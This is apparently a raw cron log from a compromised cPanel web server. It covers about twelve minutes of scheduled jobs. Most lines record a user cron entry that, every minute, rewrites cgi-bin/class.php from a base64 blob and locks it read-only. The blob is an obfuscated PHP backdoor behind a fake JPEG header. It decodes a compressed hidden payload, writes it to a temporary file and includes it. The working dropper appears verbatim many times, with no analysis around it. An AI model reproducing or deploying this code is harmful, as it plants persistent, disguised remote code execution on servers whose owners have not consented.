Nov 12 21:50:01 server CROND[23644]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:51:01 server CROND[24576]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:52:01 server CROND[25440]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:53:01 server CROND[26398]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:54:01 server CROND[27255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:55:01 server CROND[28112]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 21:55:01 server CROND[28114]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:55:01 server CROND[28113]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 21:56:01 server CROND[29035]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:57:01 server CROND[29940]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 21:57:01 server CROND[29941]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:58:01 server CROND[30777]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:59:01 server CROND[31806]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:00:01 server CROND[32616]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 22:00:01 server CROND[32618]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 12 22:00:01 server CROND[32620]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 22:00:01 server CROND[32622]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 22:00:01 server CROND[32621]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:01:01 server CROND[358]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 22:01:01 server CROND[359]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:01:01 server run-parts(/etc/cron.hourly)[358]: starting 0anacron
Nov 12 22:01:01 server run-parts(/etc/cron.hourly)[371]: finished 0anacron
Nov 12 22:02:01 server CROND[1105]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
